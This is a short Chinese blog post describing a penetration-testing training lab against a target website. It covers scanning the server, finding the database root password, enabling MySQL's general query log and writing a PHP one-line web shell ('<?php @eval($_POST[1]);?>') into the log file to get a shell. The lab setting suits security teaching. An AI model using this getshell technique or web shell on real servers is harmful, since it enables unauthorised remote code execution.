信息安全实训3

最新推荐文章于 2024-09-09 11:04:38 发布

原创

最新推荐文章于 2024-09-09 11:04:38 发布 · 977 阅读

CC 4.0 BY-SA版权

文章标签：

靶站点渗透实践

合理选择攻击机中的工具对目标Web进行扫描，收集信息，了解web服务器类型，查看是否有可疑端口、地址或文件。
根据可疑端口、地址或文件，设法找到网站数据库连接的地址和root密码。
以root权限登录网站数据库后，尝试利用日志文件来进行 getshell。首先在 sql 处执行“SHOW VARIABLES LIKE 'general%'”查看是否开启日志功能以及日志文件的保存路径。
如日志功能暂未开启。可以执行“set global general_log = "ON";”开启 mysql 日志功能，再次确认日志功能是否开启。
之后执行 sql 语句“select ‘<?php @eval($_POST[1]);?>’”，向日志文件中写入 php 一句话木马。